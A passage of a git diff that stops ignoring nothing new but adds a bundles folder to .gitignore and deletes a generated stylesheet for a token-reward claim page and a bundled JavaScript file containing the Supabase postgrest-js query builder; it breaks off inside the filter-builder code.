diff --git a/.gitignore b/.gitignore index cf2b6162..dcd9090e 100644 --- a/.gitignore +++ b/.gitignore @@ -12,6 +12,7 @@ commit.txt .pnp.loader.mjs .env static/dist +static/bundles cypress/screenshots cypress/videos diff --git a/static/bundles/bundles.css b/static/bundles/bundles.css deleted file mode 100644 index 5f4d73b2..00000000 --- a/static/bundles/bundles.css +++ /dev/null @@ -1,880 +0,0 @@ -* { - -webkit-text-size-adjust: 100%; - font-family: - "Proxima Nova", - "Ubiquity Nova", - FT Base, - -apple-system, - system-ui, - BlinkMacSystemFont, - SF Pro Text, - Segoe UI, - Roboto, - Helvetica, - Arial, - sans-serif; - line-height: 1; - padding: 0; - margin: 0; - font-size: 12px; - font-weight: 400; - text-transform: uppercase; - letter-spacing: 2px; -} - -a { - color: #808080; -} - -body { - /* min-height: 100vh; */ - /* height: calc(100 * var(--vh)); */ -} - -body, -main { - max-width: 100vw; - display: flex; - flex-direction: column; - justify-content: center; - align-items: center; -} - -main { - width: 100vw; - position: relative; -} - -a { - text-decoration: none; -} - -#logo a { - display: block; - border: 1px solid transparent; - border-radius: 3px; - flex-direction: row; -} - -#logo { - letter-spacing: 2px; - padding: 48px 0; - -ms-flex-pack: justify; - -ms-flex-align: center; - line-height: 1; - text-align: center; -} - -#logo > #logo-icon { - display: inline-block; - vertical-align: middle; - padding: 4px; - text-rendering: geometricPrecision; - /* color: #fff; */ -} - -#logo-icon > svg { - height: 36px; - display: block; - margin: 0; - width: 36px; - padding: 0; - margin-right: 10px; - fill: #fff; -} - -#logo > div#logo-text { - display: inline-block; - vertical-align: middle; -} -#logo > div#logo-text > span::after { - content: " "; - display: inline-block; - width: 8px; -} -#logo > div#logo-text > span { - font-size: 20px; - letter-spacing: 5px; - text-transform: uppercase; - text-rendering: geometricPrecision; - color: #fff; - /* margin-right: 8px; */ - /* font-weight: 400; */ -} - -div.footer > div { - /* bottom: 48px; */ - padding: 48px 0; - text-align: center; - text-transform: uppercase; - letter-spacing: 2px; - text-rendering: geometricPrecision; - /* font-weight: 100; */ - /* width: 48px; */ - margin: auto; - display: inline-block; - vertical-align: middle; -} - -footer a { - opacity: 0.25; - font-size: 12px; - color: #fff; -} - -footer a:hover { - opacity: 1; -} -header a #logo { - opacity: 0.5; -} -header a:hover #logo { - opacity: 1; -} - -main { - display: flex; - flex-direction: column; - height: 100vh; /* adjust this according to your needs */ -} - -header { - /* height: 140px; */ - /* width: 100%; */ -} - -footer { - /* height: 108px; */ - /* width: 100%; */ - /* padding-bottom: env(safe-area-inset-bottom); */ - width: 100%; - position: relative; -} - -#carousel { - flex-direction: row; - align-items: center; - align-self: center; - /* margin: 12px auto; */ - /* opacity: 0.5; */ - /* display: none; */ - opacity: 0; - transition: opacity 1s; - text-align: center; -} -#carousel > div { - color: #808080; - vertical-align: middle; -} -#carousel > div:hover { - color: #fff; -} -#carousel.ready { - opacity: 1; -} -#carousel > #rewardsCount { - pointer-events: none; - display: inline-block; /* vertical-align: middle; */ -} -#prevTx, -#nextTx { - padding: 3px; - margin: 3px; - border: 2px solid; - cursor: pointer; - transform: rotate(45deg); - border-radius: 3px; - width: 0px; - display: inline-block; -} -#prevTx { - /* border-color: transparent transparent #fff #fff; */ - border-top-color: transparent; - border-right-color: transparent; -} -#nextTx { - /* border-color: #fff #fff transparent transparent; */ - border-bottom-color: transparent; - border-left-color: transparent; -} - -#faq-icon > a { - /* position: fixed; */ - /* right: 20px; */ - /* cursor: pointer; */ -} - -#faq-icon > a > div { - font-size: 12px; - color: #fff; -} - -#faq-icon > a > div:hover { - opacity: 1; -} - -.footer { - /* display: flex; */ - /* align-items: center; */ - opacity: 0; - transition: opacity 1s; - text-align: center; -} - -.footer.ready { - opacity: 1; -} - -#faq-icon { - position: absolute; - /* right: 0; */ - /* height: 24px; */ - /* display: inline-block; */ - padding: 42px; - right: 0; -} -background, -background #grid { - position: fixed; - top: 0; - left: 0; -} -html, -background { - background-color: #000410; -} - -background #grid { - pointer-events: none; -} - -background #grid canvas { - width: 100%; - height: 100%; - opacity: 0; - animation: background-grid-fade-in 2s ease-in-out forwards; -} - -background .gradient { - width: 200vw; - height: 200vh; - position: absolute; - opacity: 0; -} -.grid-loaded background .gradient { - background-image: radial-gradient(#00bfff00 0%, #00bfffff 15%, #00bfff00 34%, #00bfffff 58%, #00bfff00 75%, #00bfffff 100%); - animation: background-gradients-fade-in 2s ease-in-out forwards; -} -background > :nth-child(1) { - transform: translateX(-100vw); -} -background > :nth-child(2) { - transform: translateY(-50vh); -} - -@keyframes background-gradients-fade-in { - to { - opacity: 0.125; - } -} -@keyframes background-grid-fade-in { - to { - opacity: 0.5; - } -} -:root { - --toast-success: hsl(120, 50%, 50%); - --toast-error: hsl(0, 50%, 50%); - --toast-warning: hsl(50, 100%, 50%); - --toast-info: hsl(0, 0%, 50%); -} - -.fa-circle-check { - color: var(--toast-success); -} -.fa-circle-xmark { - color: var(--toast-error); -} -.fa-triangle-exclamation { - color: var(--toast-warning); -} -.fa-circle-info { - color: var(--toast-info); -} - -.notifications { - position: fixed; - bottom: 0; - /* right: 20px; */ -} - -.notifications :where(.toast, .column) { - display: flex; - align-items: center; -} - -.notifications .toast { - position: relative; - overflow: hidden; - list-style: none; - padding: 24px; - margin: 12px; - justify-content: space-between; - animation: show-toast 0.5s ease-in-out; - /* border: 1px solid #80808020; */ - border: 1px solid var(--border-color); - /* backdrop-filter: blur(24px); */ - /* -webkit-backdrop-filter: blur(24px); */ - background-color: var(--background-color-default); -} - -@keyframes show-toast { - 0% { - opacity: 0; - } - 100% { - opacity: 1; - } -} - -.notifications .toast.hide { - animation: hide_toast 0.5s ease-in-out; -} - -@keyframes hide_toast { - 0% { - opacity: 1; - } - 100% { - opacity: 0; - } -} - -.toast::before { - position: absolute; - content: ""; - height: 3px; - width: 100%; - bottom: 0px; - left: 0px; - animation: progress 5s linear forwards; -} - -@keyframes progress { - 100% { - width: 0%; - } -} - -.toast.success::before, -.btn#success { - background: var(--toast-success); -} - -.toast.error::before, -.btn#error { - background: var(--toast-error); -} - -.toast.warning::before, -.btn#warning { - background: var(--toast-warning); -} - -.toast.info::before, -.btn#info { - background: var(--toast-info); -} - -.toast .column i { - font-size: 1.75rem; -} - -.toast.success .column i { - color: var(--toast-success); -} - -.toast.error .column i { - color: var(--toast-error); -} - -.toast.warning .column i { - color: var(--toast-warning); -} - -.toast.info .column i { - color: var(--toast-info); -} - -.toast .column span { - /* font-size: 1.07rem; */ - margin-left: 12px; - color: #808080; - line-height: 1.5; -} - -.toast i:last-child { - color: #80808080; - cursor: pointer; - margin-left: 12px; -} - -.toast i:last-child:hover { - color: #808080; -} -:root { - --left-table-column-width: 120px; - --background-color-default-brightness: 2%; - --background-color-light-brightness: 6%; - --border-brightness: 5%; - --background-color-default: hsl(225 50% var(--background-color-default-brightness) / 1); - --background-color-light: hsl(225 50% var(--background-color-light-brightness) / 1); - --border-color: hsl(225 25% var(--border-brightness) / 1); -} -#claim { - display: flex; -} -main > div { - flex-grow: 1; - display: flex; - flex-direction: column; - justify-content: center; -} -table { - border-collapse: collapse; -} -table a:hover, -table a:hover > div { - color: #fff; -} -table #controls { - display: none; - color: #fff; - width: 100%; -} -table #controls > button { - flex: 1; - padding: 0 24px; -} -table aside { - text-transform: uppercase; - font-weight: 100; - letter-spacing: 2px; - font-size: 16px; - color: grey; - display: inline; - vertical-align: middle; - text-align: center; - padding: 16px; -} -table button { - user-select: none; - appearance: none; - border: none; - background: 0 0; - cursor: pointer; - outline: 0; - height: 48px; - color: currentColor; -} -table button div { - text-transform: uppercase; - word-break: break-all; - text-rendering: geometricPrecision; - color: #fff; -} -table hr { - background-color: #80808040; - height: 1px; - border: none; -} -svg path { - fill: currentColor; -} -table td div { - word-break: break-all; -} -table th div { - text-align: right; - color: #80808080; -} -table td, -table th { - padding: 8px; - text-rendering: geometricPrecision; - line-height: 1.25; - color: grey; -} -table td div { - word-break: break-all; - overflow: hidden; - text-overflow: ellipsis; -} -table td div svg ~ div { - width: unset; -} -table tr:first-of-type > * { - padding-top: 24px; -} -table tr:last-child td div > div { - width: 50%; - display: inline-block; - vertical-align: middle; -} -table tr:last-of-type > * { - padding-bottom: 24px; -} -table tr#additional-details-border > * { - padding: 0; - margin: 0; -} -table[data-make-claim-rendered] #controls { - display: inline-flex; -} -table[data-make-claim-rendered] button { - opacity: 0.5; -} -table[data-make-claim-rendered] button.hide { - display: none !important; -} -table[data-make-claim-rendered] button:disabled { - opacity: 0.5; - pointer-events: none; -} -table[data-make-claim-rendered] button:hover { - background-color: #80808020; - opacity: 1; -} -table[data-make-claim-rendered] button > div { - display: none; -} -table[data-make-claim-rendered] button:disabled > svg#claim-icon { - display: none; -} -table[data-make-claim-rendered] button:hover > div { - display: unset; - color: #fff; -} -table[data-make-claim-rendered] button:hover > svg { - display: none !important; -} -.show { - display: block; -} -table[data-make-claim-rendered] button.hide > svg#claim-loader { - display: none; -} -table[data-make-claim-rendered] button.show > svg#claim-icon { - display: unset; -} -table[data-make-claim-rendered] button.show > svg#claim-loader { - display: unset; -} -table[data-make-claim-rendered] button.hide > svg#claim-icon { - display: unset; -} -table #controls { - opacity: 0; - transition: 1s ease-in-out opacity; - pointer-events: none; -} -table[data-make-claim-rendered="true"][data-contract-loaded="true"][data-make-claim="ok"] #controls { - opacity: 1; - pointer-events: unset; -} -table[data-make-claim-rendered] button#additionalDetails { - width: 100%; - color: #fff; -} -table[data-make-claim-rendered] tr#additional-details-border + tr > * { - padding-top: 24px; -} -table #additionalDetailsTable { - opacity: 0; - pointer-events: none; - transform: translate(-50%, -90px); -} -table[data-additional-data-size="large"] #additionalDetailsTable { - opacity: 0; - pointer-events: none; - transform: translate(-50%, -175px); -} -table[data-details-visible="true"] #additionalDetailsTable { - opacity: 1; - pointer-events: all; -} -table[data-contract-loaded] #Token { - display: none; -} -#rewardAmount a { - font-size: 24px; -} -#rewardAmount a, -#rewardRecipient div, -#rewardsCount { - color: #fff; -} -table[data-details-visible="false"] #rewardToken .full, -table[data-details-visible="true"] #rewardToken .short { - display: none; -} -table[data-details-visible="false"] #rewardToken .short, -table[data-details-visible="true"] #rewardToken .full { - display: initial; -} -table[data-details-visible="false"] #rewardRecipient .full, -table[data-details-visible="true"] #rewardRecipient .short { - display: none; -} -table[data-details-visible="false"] #rewardRecipient .short, -table[data-details-visible="true"] #rewardRecipient .full { - display: initial; -} -#To > td, -#To > th { - padding-bottom: 24px; -} -table[data-make-claim="ok"] thead { - opacity: 0; - pointer-events: none; - transform: translate(-50%, -50%); - /* filter: blur(4px); */ -} -table[data-make-claim="error"] tbody { - opacity: 0; - pointer-events: none; - transform: translate(-50%, -50%); - filter: blur(4px); -} -#rewardRecipient a div { - opacity: 0.66; -} -#rewardRecipient a:hover div { - opacity: 1; -} -#rewardRecipient div { - color: #fff; -} -table[data-details-visible="true"] #additionalDetails svg.opener { - display: none; -} -table[data-details-visible="false"] #additionalDetails svg.opener { - display: unset; -} -table[data-details-visible="true"] #additionalDetails svg.closer { - display: unset; -} -table[data-details-visible="false"] #additionalDetails svg.closer { - display: none; -} -td#owner > a { - word-break: break-all; -} -table td { - padding-right: 32px; - width: 100%; -} -table th { - padding-left: 32px; -} -[data-loader="false"] #claim-loader { - display: none; -} -[data-make-claim="false"] #make-claim { - display: none; -} -[data-view-claim="false"] #view-claim { - display: none; -} -[data-invalidator="false"] #invalidator { - display: none; -} - -.loading-message::after { - content: ""; - animation: ellipsis 1s infinite; - position: absolute; -} - -#claiming-message::after { - content: ""; - animation: ellipsis 1s infinite; - position: absolute; -} -@keyframes ellipsis { - 0% { - content: ""; - } - 25% { - content: "."; - } - 50% { - content: ".."; - } - 75% { - content: "..."; - } - 100% { - content: ""; - } -} -@keyframes rotate { - from { - transform: rotate(0); - } - to { - transform: rotate(360deg); - } -} -#claim-loader > svg { - animation: rotate 1s linear infinite; -} -tbody, -thead { - background-color: var(--background-color-default); - position: absolute; - box-shadow: inset 0 0 96px #00bfff10; - transition: 0.25s all ease-in-out; - border: 1px solid var(--border-color); - transform: translate(-50%, -50%); - width: 100%; - max-width: 563px; - overflow: hidden; - /* box-shadow: 0 12px 64px #00000010; */ -} -table * { - text-wrap: nowrap; -} - -@keyframes thead-fade-in { - 0% { - opacity: 0; - } - 100% { - opacity: 1; - } -} - -thead { - animation: thead-fade-in 0.5s ease-in-out; -} -header span:first-child::after { - /* content: " | "; */ -} - -@media screen and (max-width: 640px) { - table { - border-left-width: 0px; - border-right-width: 0px; - } -} -@media screen and (max-width: 768px) { - header span:first-child { - display: none; - } - - header span:first-child::after { - content: ""; - } -} - -/* -@media screen and (min-height: 512px) { - table[data-details-visible="false"] #additional-details-border ~ tr { - display: none; - } - table[data-details-visible="true"] #additional-details-border ~ tr { - display: table-row; - } -} */ - -/* Landscape */ -@media screen and (orientation: landscape) { - body { - width: 100vw; /* 100% of viewport width */ - max-width: 100vw; /* prevents any overflow issues */ - overflow-x: hidden; /* prevents horizontal scrolling */ - padding-left: env(safe-area-inset-left); - padding-right: env(safe-area-inset-right); - } -} -:root { - --light-mode-background-color-default-brightness: calc(100% - var(--background-color-default-brightness)); - --light-mode-background-color-dark-brightness: calc(100% - var(--background-color-light-brightness)); - --light-mode-background-color-default: hsl(225 0% var(--light-mode-background-color-default-brightness) / 1); - --light-mode-background-color-dark: hsl(225 0% var(--light-mode-background-color-dark-brightness) / 1); - --light-mode-border-color: hsl(225 0% calc(100% - var(--border-brightness)) / 1); -} -@media (prefers-color-scheme: light) { - background { - background-color: #fff; - color: #000; - } - table a:hover > div { - color: #000; - } - #rewardAmount > a { - color: #000; - } - svg path { - fill: #000; - } - #logo-icon > svg { - fill: #000; - } - #logo > div#logo-text > span { - color: #000; - } - table button div { - color: #000; - } - table[data-make-claim-rendered] button:hover > div { - color: #000; - } - table[data-make-claim-rendered] button:hover { - background-color: #80808018; - } - table a:hover, - table a:hover > div { - color: #000; - } - div#build > a { - color: #000; - } - #rewardAmount div, - #rewardRecipient div, - #rewardsCount { - color: #000; - } - #nextTx, - #previousTx { - fill: #000; - } - html { - background-color: #fff; - } - background #grid { - filter: invert(1); - } - table tbody, - table thead { - box-shadow: inset 0 0 96px #00000008; - } - .notifications .toast { - border: 1px solid var(--light-mode-border-color); - background-color: var(--light-mode-background-color-default); - } - .grid-loaded background .gradient { - opacity: 0; - animation: none; - } - - #carousel > div:hover { - color: #000; - } - tbody, - thead { - background-color: #fff; - border: 1px solid var(--light-mode-border-color); - } -} diff --git a/static/bundles/bundles.js b/static/bundles/bundles.js deleted file mode 100644 index 9363d7df..00000000 --- a/static/bundles/bundles.js +++ /dev/null @@ -1,73306 +0,0 @@ -"use strict"; -(() => { - var __create = Object.create; - var __defProp = Object.defineProperty; - var __getOwnPropDesc = Object.getOwnPropertyDescriptor; - var __getOwnPropNames = Object.getOwnPropertyNames; - var __getProtoOf = Object.getPrototypeOf; - var __hasOwnProp = Object.prototype.hasOwnProperty; - var __require = /* @__PURE__ */ ((x) => typeof require !== "undefined" ? require : typeof Proxy !== "undefined" ? new Proxy(x, { - get: (a, b) => (typeof require !== "undefined" ? require : a)[b] - }) : x)(function(x) { - if (typeof require !== "undefined") - return require.apply(this, arguments); - throw Error('Dynamic require of "' + x + '" is not supported'); - }); - var __esm = (fn, res) => function __init() { - return fn && (res = (0, fn[__getOwnPropNames(fn)[0]])(fn = 0)), res; - }; - var __commonJS = (cb, mod) => function __require2() { - return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports; - }; - var __export = (target, all3) => { - for (var name in all3) - __defProp(target, name, { get: all3[name], enumerable: true }); - }; - var __copyProps = (to, from, except, desc) => { - if (from && typeof from === "object" || typeof from === "function") { - for (let key3 of __getOwnPropNames(from)) - if (!__hasOwnProp.call(to, key3) && key3 !== except) - __defProp(to, key3, { get: () => from[key3], enumerable: !(desc = __getOwnPropDesc(from, key3)) || desc.enumerable }); - } - return to; - }; - var __toESM = (mod, isNodeMode, target) => (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps( - // If the importer is in node compatibility mode or this is not an ESM - // file that has been converted to a CommonJS file using a Babel- - // compatible transform (i.e. "__esModule" has not been set), then set - // "default" to the CommonJS "module.exports" for node compatibility. - isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target, - mod - )); - var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod); - - // node_modules/@supabase/node-fetch/browser.js - var browser_exports = {}; - __export(browser_exports, { - Headers: () => Headers2, - Request: () => Request2, - Response: () => Response2, - default: () => browser_default2, - fetch: () => fetch2 - }); - var getGlobal, globalObject, fetch2, browser_default2, Headers2, Request2, Response2; - var init_browser = __esm({ - "node_modules/@supabase/node-fetch/browser.js"() { - "use strict"; - getGlobal = function() { - if (typeof self !== "undefined") { - return self; - } - if (typeof window !== "undefined") { - return window; - } - if (typeof global !== "undefined") { - return global; - } - throw new Error("unable to locate global object"); - }; - globalObject = getGlobal(); - fetch2 = globalObject.fetch; - browser_default2 = globalObject.fetch.bind(globalObject); - Headers2 = globalObject.Headers; - Request2 = globalObject.Request; - Response2 = globalObject.Response; - } - }); - - // node_modules/@supabase/postgrest-js/dist/cjs/PostgrestError.js - var require_PostgrestError = __commonJS({ - "node_modules/@supabase/postgrest-js/dist/cjs/PostgrestError.js"(exports) { - "use strict"; - Object.defineProperty(exports, "__esModule", { value: true }); - var PostgrestError = class extends Error { - constructor(context) { - super(context.message); - this.name = "PostgrestError"; - this.details = context.details; - this.hint = context.hint; - this.code = context.code; - } - }; - exports.default = PostgrestError; - } - }); - - // node_modules/@supabase/postgrest-js/dist/cjs/PostgrestBuilder.js - var require_PostgrestBuilder = __commonJS({ - "node_modules/@supabase/postgrest-js/dist/cjs/PostgrestBuilder.js"(exports) { - "use strict"; - var __importDefault = exports && exports.__importDefault || function(mod) { - return mod && mod.__esModule ? mod : { "default": mod }; - }; - Object.defineProperty(exports, "__esModule", { value: true }); - var node_fetch_1 = __importDefault((init_browser(), __toCommonJS(browser_exports))); - var PostgrestError_1 = __importDefault(require_PostgrestError()); - var PostgrestBuilder2 = class { - constructor(builder) { - this.shouldThrowOnError = false; - this.method = builder.method; - this.url = builder.url; - this.headers = builder.headers; - this.schema = builder.schema; - this.body = builder.body; - this.shouldThrowOnError = builder.shouldThrowOnError; - this.signal = builder.signal; - this.isMaybeSingle = builder.isMaybeSingle; - if (builder.fetch) { - this.fetch = builder.fetch; - } else if (typeof fetch === "undefined") { - this.fetch = node_fetch_1.default; - } else { - this.fetch = fetch; - } - } - /** - * If there's an error with the query, throwOnError will reject the promise by - * throwing the error instead of returning it as part of a successful response. - * - * {@link https://github.com/supabase/supabase-js/issues/92} - */ - throwOnError() { - this.shouldThrowOnError = true; - return this; - } - then(onfulfilled, onrejected) { - if (this.schema === void 0) { - } else if (["GET", "HEAD"].includes(this.method)) { - this.headers["Accept-Profile"] = this.schema; - } else { - this.headers["Content-Profile"] = this.schema; - } - if (this.method !== "GET" && this.method !== "HEAD") { - this.headers["Content-Type"] = "application/json"; - } - const _fetch = this.fetch; - let res = _fetch(this.url.toString(), { - method: this.method, - headers: this.headers, - body: JSON.stringify(this.body), - signal: this.signal - }).then(async (res2) => { - var _a, _b, _c; - let error = null; - let data = null; - let count = null; - let status = res2.status; - let statusText = res2.statusText; - if (res2.ok) { - if (this.method !== "HEAD") { - const body = await res2.text(); - if (body === "") { - } else if (this.headers["Accept"] === "text/csv") { - data = body; - } else if (this.headers["Accept"] && this.headers["Accept"].includes("application/vnd.pgrst.plan+text")) { - data = body; - } else { - data = JSON.parse(body); - } - } - const countHeader = (_a = this.headers["Prefer"]) === null || _a === void 0 ? void 0 : _a.match(/count=(exact|planned|estimated)/); - const contentRange = (_b = res2.headers.get("content-range")) === null || _b === void 0 ? void 0 : _b.split("/"); - if (countHeader && contentRange && contentRange.length > 1) { - count = parseInt(contentRange[1]); - } - if (this.isMaybeSingle && this.method === "GET" && Array.isArray(data)) { - if (data.length > 1) { - error = { - // https://github.com/PostgREST/postgrest/blob/a867d79c42419af16c18c3fb019eba8df992626f/src/PostgREST/Error.hs#L553 - code: "PGRST116", - details: `Results contain ${data.length} rows, application/vnd.pgrst.object+json requires 1 row`, - hint: null, - message: "JSON object requested, multiple (or no) rows returned" - }; - data = null; - count = null; - status = 406; - statusText = "Not Acceptable"; - } else if (data.length === 1) { - data = data[0]; - } else { - data = null; - } - } - } else { - const body = await res2.text(); - try { - error = JSON.parse(body); - if (Array.isArray(error) && res2.status === 404) { - data = []; - error = null; - status = 200; - statusText = "OK"; - } - } catch (_d) { - if (res2.status === 404 && body === "") { - status = 204; - statusText = "No Content"; - } else { - error = { - message: body - }; - } - } - if (error && this.isMaybeSingle && ((_c = error === null || error === void 0 ? void 0 : error.details) === null || _c === void 0 ? void 0 : _c.includes("0 rows"))) { - error = null; - status = 200; - statusText = "OK"; - } - if (error && this.shouldThrowOnError) { - throw new PostgrestError_1.default(error); - } - } - const postgrestResponse = { - error, - data, - count, - status, - statusText - }; - return postgrestResponse; - }); - if (!this.shouldThrowOnError) { - res = res.catch((fetchError) => { - var _a, _b, _c; - return { - error: { - message: `${(_a = fetchError === null || fetchError === void 0 ? void 0 : fetchError.name) !== null && _a !== void 0 ? _a : "FetchError"}: ${fetchError === null || fetchError === void 0 ? void 0 : fetchError.message}`, - details: `${(_b = fetchError === null || fetchError === void 0 ? void 0 : fetchError.stack) !== null && _b !== void 0 ? _b : ""}`, - hint: "", - code: `${(_c = fetchError === null || fetchError === void 0 ? void 0 : fetchError.code) !== null && _c !== void 0 ? _c : ""}` - }, - data: null, - count: null, - status: 0, - statusText: "" - }; - }); - } - return res.then(onfulfilled, onrejected); - } - }; - exports.default = PostgrestBuilder2; - } - }); - - // node_modules/@supabase/postgrest-js/dist/cjs/PostgrestTransformBuilder.js - var require_PostgrestTransformBuilder = __commonJS({ - "node_modules/@supabase/postgrest-js/dist/cjs/PostgrestTransformBuilder.js"(exports) { - "use strict"; - var __importDefault = exports && exports.__importDefault || function(mod) { - return mod && mod.__esModule ? mod : { "default": mod }; - }; - Object.defineProperty(exports, "__esModule", { value: true }); - var PostgrestBuilder_1 = __importDefault(require_PostgrestBuilder()); - var PostgrestTransformBuilder2 = class extends PostgrestBuilder_1.default { - /** - * Perform a SELECT on the query result. - * - * By default, `.insert()`, `.update()`, `.upsert()`, and `.delete()` do not - * return modified rows. By calling this method, modified rows are returned in - * `data`. - * - * @param columns - The columns to retrieve, separated by commas - */ - select(columns) { - let quoted = false; - const cleanedColumns = (columns !== null && columns !== void 0 ? columns : "*").split("").map((c) => { - if (/\s/.test(c) && !quoted) { - return ""; - } - if (c === '"') { - quoted = !quoted; - } - return c; - }).join(""); - this.url.searchParams.set("select", cleanedColumns); - if (this.headers["Prefer"]) { - this.headers["Prefer"] += ","; - } - this.headers["Prefer"] += "return=representation"; - return this; - } - /** - * Order the query result by `column`. - * - * You can call this method multiple times to order by multiple columns. - * - * You can order referenced tables, but it only affects the ordering of the - * parent table if you use `!inner` in the query. - * - * @param column - The column to order by - * @param options - Named parameters - * @param options.ascending - If `true`, the result will be in ascending order - * @param options.nullsFirst - If `true`, `null`s appear first. If `false`, - * `null`s appear last. - * @param options.referencedTable - Set this to order a referenced table by - * its columns - * @param options.foreignTable - Deprecated, use `options.referencedTable` - * instead - */ - order(column, { ascending = true, nullsFirst, foreignTable, referencedTable = foreignTable } = {}) { - const key3 = referencedTable ? `${referencedTable}.order` : "order"; - const existingOrder = this.url.searchParams.get(key3); - this.url.searchParams.set(key3, `${existingOrder ? `${existingOrder},` : ""}${column}.${ascending ? "asc" : "desc"}${nullsFirst === void 0 ? "" : nullsFirst ? ".nullsfirst" : ".nullslast"}`); - return this; - } - /** - * Limit the query result by `count`. - * - * @param count - The maximum number of rows to return - * @param options - Named parameters - * @param options.referencedTable - Set this to limit rows of referenced - * tables instead of the parent table - * @param options.foreignTable - Deprecated, use `options.referencedTable` - * instead - */ - limit(count, { foreignTable, referencedTable = foreignTable } = {}) { - const key3 = typeof referencedTable === "undefined" ? "limit" : `${referencedTable}.limit`; - this.url.searchParams.set(key3, `${count}`); - return this; - } - /** - * Limit the query result by starting at an offset `from` and ending at the offset `to`. - * Only records within this range are returned. - * This respects the query order and if there is no order clause the range could behave unexpectedly. - * The `from` and `to` values are 0-based and inclusive: `range(1, 3)` will include the second, third - * and fourth rows of the query. - * - * @param from - The starting index from which to limit the result - * @param to - The last index to which to limit the result - * @param options - Named parameters - * @param options.referencedTable - Set this to limit rows of referenced - * tables instead of the parent table - * @param options.foreignTable - Deprecated, use `options.referencedTable` - * instead - */ - range(from, to, { foreignTable, referencedTable = foreignTable } = {}) { - const keyOffset = typeof referencedTable === "undefined" ? "offset" : `${referencedTable}.offset`; - const keyLimit = typeof referencedTable === "undefined" ? "limit" : `${referencedTable}.limit`; - this.url.searchParams.set(keyOffset, `${from}`); - this.url.searchParams.set(keyLimit, `${to - from + 1}`); - return this; - } - /** - * Set the AbortSignal for the fetch request. - * - * @param signal - The AbortSignal to use for the fetch request - */ - abortSignal(signal) { - this.signal = signal; - return this; - } - /** - * Return `data` as a single object instead of an array of objects. - * - * Query result must be one row (e.g. using `.limit(1)`), otherwise this - * returns an error. - */ - single() { - this.headers["Accept"] = "application/vnd.pgrst.object+json"; - return this; - } - /** - * Return `data` as a single object instead of an array of objects. - * - * Query result must be zero or one row (e.g. using `.limit(1)`), otherwise - * this returns an error. - */ - maybeSingle() { - if (this.method === "GET") { - this.headers["Accept"] = "application/json"; - } else { - this.headers["Accept"] = "application/vnd.pgrst.object+json"; - } - this.isMaybeSingle = true; - return this; - } - /** - * Return `data` as a string in CSV format. - */ - csv() { - this.headers["Accept"] = "text/csv"; - return this; - } - /** - * Return `data` as an object in [GeoJSON](https://geojson.org) format. - */ - geojson() { - this.headers["Accept"] = "application/geo+json"; - return this; - } - /** - * Return `data` as the EXPLAIN plan for the query. - * - * You need to enable the - * [db_plan_enabled](https://supabase.com/docs/guides/database/debugging-performance#enabling-explain) - * setting before using this method. - * - * @param options - Named parameters - * - * @param options.analyze - If `true`, the query will be executed and the - * actual run time will be returned - * - * @param options.verbose - If `true`, the query identifier will be returned - * and `data` will include the output columns of the query - * - * @param options.settings - If `true`, include information on configuration - * parameters that affect query planning - * - * @param options.buffers - If `true`, include information on buffer usage - * - * @param options.wal - If `true`, include information on WAL record generation - * - * @param options.format - The format of the output, can be `"text"` (default) - * or `"json"` - */ - explain({ analyze = false, verbose = false, settings = false, buffers = false, wal = false, format = "text" } = {}) { - var _a; - const options = [ - analyze ? "analyze" : null, - verbose ? "verbose" : null, - settings ? "settings" : null, - buffers ? "buffers" : null, - wal ? "wal" : null - ].filter(Boolean).join("|"); - const forMediatype = (_a = this.headers["Accept"]) !== null && _a !== void 0 ? _a : "application/json"; - this.headers["Accept"] = `application/vnd.pgrst.plan+${format}; for="${forMediatype}"; options=${options};`; - if (format === "json") - return this; - else - return this; - } - /** - * Rollback the query. - * - * `data` will still be returned, but the query is not committed. - */ - rollback() { - var _a; - if (((_a = this.headers["Prefer"]) !== null && _a !== void 0 ? _a : "").trim().length > 0) { - this.headers["Prefer"] += ",tx=rollback"; - } else { - this.headers["Prefer"] = "tx=rollback"; - } - return this; - } - /** - * Override the type of the returned `data`. - * - * @typeParam NewResult - The new result type to override with - */ - returns() { - return this; - } - }; - exports.default = PostgrestTransformBuilder2; - } - }); - - // node_modules/@supabase/postgrest-js/dist/cjs/PostgrestFilterBuilder.js - var require_PostgrestFilterBuilder = __commonJS({ - "node_modules/@supabase/postgrest-js/dist/cjs/PostgrestFilterBuilder.js"(exports) { - "use strict"; - var __importDefault = exports && exports.__importDefault || function(mod) { - return mod && mod.__esModule ? mod : { "default": mod }; - }; - Object.defineProperty(exports, "__esModule", { value: true }); - var PostgrestTransformBuilder_1 = __importDefault(require_PostgrestTransformBuilder()); - var PostgrestFilterBuilder2 = class extends PostgrestTransformBuilder_1.default { - /** - * Match only rows where `column` is equal to `value`. - * - * To check if the value of `column` is NULL, you should use `.is()` instead. - * - * @param column - The column to filter on - * @param value - The value to filter with - */ - eq(column, value) { - this.url.searchParams.append(column, `eq.${value}`); - return this; - } - /** - * Match only rows where `column` is not equal to `value`. - * - * @param column - The column to filter on - * @param value - The value to filter with - */ - neq(column, value) { - this.url.searchParams.append(column, `neq.${value}`); - return this; - } - /** - * Match only rows where `column` is greater than `value`. - * - * @param column - The column to filter on - * @param value - The value to filter with - */ - gt(column, value) { - this.url.searchParams.append(column, `gt.${value}`); - return this; - } - /** - * Match only rows where `column` is greater than or equal to `value`. - * - * @param column - The column to filter on - * @param value - The value to filter with - */ - gte(column, value) { - this.url.searchParams.append(column, `gte.${value}`); - return this; - } - /** - * Match only rows where `column` is less than `value`. - * - * @param column - The column to filter on - * @param value - The value to filter with - */ - lt(column, value) { - this.url.searchParams.append(column, `lt.${value}`); - return this; - } - /** - * Match only rows where `column` is less than or equal to `value`. - * - * @param column - The column to filter on - * @param value - The value to filter with - */ - lte(column, value) { - this.url.searchParams.append(column, `lte.${value}`); - return this; - } - /** - * Match only rows where `column` matches `pattern` case-sensitively. - * - * @param column - The column to filter on - * @param pattern - The pattern to match with - */ - like(column, pattern) { - this.url.searchParams.append(column, `like.${pattern}`); - return this; - } - /** - * Match only rows where `column` matches all of `patterns` case-sensitively. - * - * @param column - The column to filter on - * @param patterns - The patterns to match with - */ - likeAllOf(column, patterns) { - this.url.searchParams.append(column, `like(all).{${patterns.join(",")}}`); - return this; - } - /** - * Match only rows where `column` matches any of `patterns` case-sensitively. - * - * @param column - The column to filter on - * @param patterns - The patterns to match with - */ - 